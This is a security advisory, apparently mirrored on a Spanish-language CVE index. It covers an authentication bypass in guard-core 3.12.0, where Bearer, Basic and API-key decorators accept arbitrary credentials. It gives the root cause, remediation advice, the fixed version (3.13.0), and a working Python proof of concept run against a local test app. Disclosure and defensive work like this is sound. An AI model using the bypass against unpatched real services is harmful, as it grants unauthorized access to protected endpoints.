GHSA-X96C-FCG2-X2F9
Authentication primitives accept arbitrary unvalidated credentials
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-X96C-FCG2-X2F9 divulgada · CVSS 9.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
guard-core authentication primitives accept attacker-controlled credentials without performing credential validation.
`@guard.require_auth(type="bearer")` accepts any attacker-controlled string that starts with `Bearer ` as authenticated. It does not validate a token signature, issuer, audience, expiration, subject, or any application credential store. An unauthenticated remote caller can therefore access an endpoint that relies on this documented decorator as its authentication gate.
Bearer authentication is the primary issue. The same validation failure affects the related Basic and API-key primitives: a malformed Basic credential is accepted if it starts with `Basic `, and `@guard.api_key_auth()` accepts any value once the configured API-key header is present.
This is CWE-287 (Improper Authentication).
Details
Affected versions verified
I installed and tested released wheels in isolated environments outside the source checkout. The PoC uses `httpx.ASGITransport`, so no listener, external endpoint, proxy, Redis instance, or special router nesting is involved.
I directly confirmed the vulnerable behavior with guard-core 3.12.0 through the fastapi-guard integration layer. fastapi-guard 5.0.0 and 7.6.0 both resolve to the affected guard-core 3.12.0 implementation.
The exact introduced and fixed version ranges of guard-core should be determined during maintainer triage.
The vulnerable implementation is confirmed in guard-core 3.12.0. The exact introduced version should be determined during maintainer triage.
Why this is an authentication bypass
The public API and examples describe this decorator as authentication enforcement. For example, the Bearer example says it requires a valid Bearer token and documents a 401 response for a missing or invalid token (current example https://github.com/rennf93/fastapi-guard/blob/7.6.0/examples/advanced_app/app/routes/auth.py#L34-L41). The API overview also describes the mixin as handling auth requirements and API-key validation.
The PoC has a blocked control: no Authorization header receives 401. Supplying only the expected scheme prefix changes the same request to 200. This establishes that the decorator is active but makes an authentication decision from attacker-controlled syntax rather than a credential-validation result. It is unrelated to route-resolution behavior or disabled middleware.
fastapi-guard exposes these authentication primitives as an adapter over guard-core; the authentication decision demonstrated by the PoC is performed by the shared guard-core implementation.
Root cause
The affected authentication decision is implemented directly in guard-core 3.12.0:
- `AuthenticationMixin.require_auth`
https://github.com/rennf93/guard-core/blob/3.12.0/guard_core/decorators/authentication.py#L16-L24stores only `"bearer"` or `"basic"` in `route_config.auth_required`. - `AuthenticationCheck.check`
https://github.com/rennf93/guard-core/blob/3.12.0/guard_core/core/checks/implementations/authentication.py#L60-L74reads the Authorization header and calls `validate_auth_header`. - `validate_auth_header`
https://github.com/rennf93/guard-core/blob/3.12.0/guard_core/core/checks/helpers.py#L125-L136returns success for every value beginning with `Bearer ` or `Basic `. It does not parse, look up, or cryptographically validate a credential. - `api_key_auth`
https://github.com/rennf93/guard-core/blob/3.12.0/guard_core/decorators/authentication.py#L26-L35configures a required header, but does not provide or call an API-key verifier.
Remediation requirement
A request must not satisfy an authentication decorator merely because an attacker-controlled credential has the expected scheme or header name. Bearer, Basic, and API-key routes must reject arbitrary values unless an actual credential-validation decision succeeds.
One possible implementation is to require a synchronous/asynchronous verifier callback or authentication backend that receives the request and raw credential and returns an authenticated principal or denial. A route configured as authentication without a verifier should fail closed. If header-format or header-presence checks are retained, they should be exposed under an unambiguous non-authentication name and not documented as token/API-key validation.
Regression coverage should reject arbitrary Bearer values, malformed Basic values, and arbitrary API-key values; it should also prove that valid verifier-approved credentials succeed and verifier errors or missing verifiers fail closed.
Public duplicate check
I reviewed public GitHub security advisories and searched public repository issues for `require_auth`, `require_headers`, `UTF-16`, `UTF-32`, and `BOM`. I found no public advisory matching arbitrary credential acceptance. GHSA-f2vm-w8gq-h378 https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-f2vm-w8gq-h378 is a separate route-resolution bypass on deeply nested routes, not a credential-validation failure.
PoC
Save the following as `poc.py`, then run the command below from outside any `fastapi-guard` source checkout.
This PoC uses fastapi-guard only as a minimal FastAPI integration harness. The vulnerable authentication decision exercised by the PoC occurs in guard-core 3.12.0.
import asyncio
from fastapi import FastAPI
from guard import SecurityConfig, SecurityDecorator
from guard.middleware import SecurityMiddleware
from httpx import ASGITransport, AsyncClient
async def main():
config = SecurityConfig(enable_redis=False, enable_rate_limiting=False)
app = FastAPI()
guard = SecurityDecorator(config)
# Primary affected primitive: Bearer authentication.
@guard.require_auth(type="bearer")
@app.get("/bearer-secret")
async def bearer_secret():
return {"secret": "bearer-protected"}
# Secondary affected primitive: Basic authentication.
@guard.require_auth(type="basic")
@app.get("/basic-secret")
async def basic_secret():
return {"secret": "basic-protected"}
# Secondary affected primitive: API-key authentication.
@guard.api_key_auth(header_name="X-API-Key")
@app.get("/api-key-secret")
async def api_key_secret():
return {"secret": "api-key-protected"}
app.add_middleware(SecurityMiddleware, config=config)
app.state.guard_decorator = guard
async with AsyncClient(
transport=ASGITransport(app=app), base_url="http://audit.local"
) as client:
missing_bearer = await client.get("/bearer-secret")
arbitrary_bearer = await client.get(
"/bearer-secret",
headers={"Authorization": "Bearer attacker-controlled-value"},
)
missing_basic = await client.get("/basic-secret")
malformed_basic = await client.get(
"/basic-secret",
headers={"Authorization": "Basic not-base64-and-not-validated"},
)
missing_api_key = await client.get("/api-key-secret")
arbitrary_api_key = await client.get(
"/api-key-secret",
headers={"X-API-Key": "attacker-controlled-value"},
)
# Controls: the decorator is active when a credential/header is absent.
assert (missing_bearer.status_code, missing_bearer.text) == (
401,
"Authentication required",
)
assert (missing_basic.status_code, missing_basic.text) == (
401,
"Authentication required",
)
assert (missing_api_key.status_code, missing_api_key.text) == (
400,
"Missing required header: X-API-Key",
)
# Bypasses: attacker-selected values are accepted as authenticated.
assert (arbitrary_bearer.status_code, arbitrary_bearer.text) == (
200,
'{"secret":"bearer-protected"}',
)
assert (malformed_basic.status_code, malformed_basic.text) == (
200,
'{"secret":"basic-protected"}',
)
assert (arbitrary_api_key.status_code, arbitrary_api_key.text) == (
200,
'{"secret":"api-key-protected"}',
)
print("Vulnerable: missing credentials are rejected, arbitrary credentials pass")
asyncio.run(main())uv run --isolated --no-project --with fastapi-guard==7.6.0 --with httpx -- python poc.pyObserved result with guard-core 3.12.0 through the fastapi-guard 7.6.0 integration: the process exits successfully, confirming Bearer `401 → 200`, Basic `401 → 200`, and API key `400 → 200` after only an attacker-controlled credential/header value is added.
Impact
Any framework adapter or application that exposes the affected guard-core authentication primitives as its authentication boundary may inherit this issue. An unauthenticated network client can select any Bearer value and invoke that endpoint. The proof of concept demonstrates unauthorized access to a protected response without a real credential.
The impact is not limited to confidentiality: if a decorated endpoint performs administration, account changes, payment actions, deletion, or other state changes, the same bypass can authorize those actions.
Until a fixed release is available, applications should not use `require_auth` or `api_key_auth` as their authentication decision point. Enforce authentication and authorization with an application-owned FastAPI dependency or equivalent verifier, and use FastAPI Guard only as an additional defense-in-depth layer.
According to the maintainer, the shared implementation is consumed by fastapi-guard, flaskapi-guard, and djapi-guard, so affected adapters inherit the vulnerable behavior through their guard-core dependency.
Reporter validation request
The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
PyPIguard-core |
Corregida | 3.13.0 | — | — |
3.13.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Guard-Core/guard-core/security/advisories/GHSA-x96c-fcg2-x2f9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
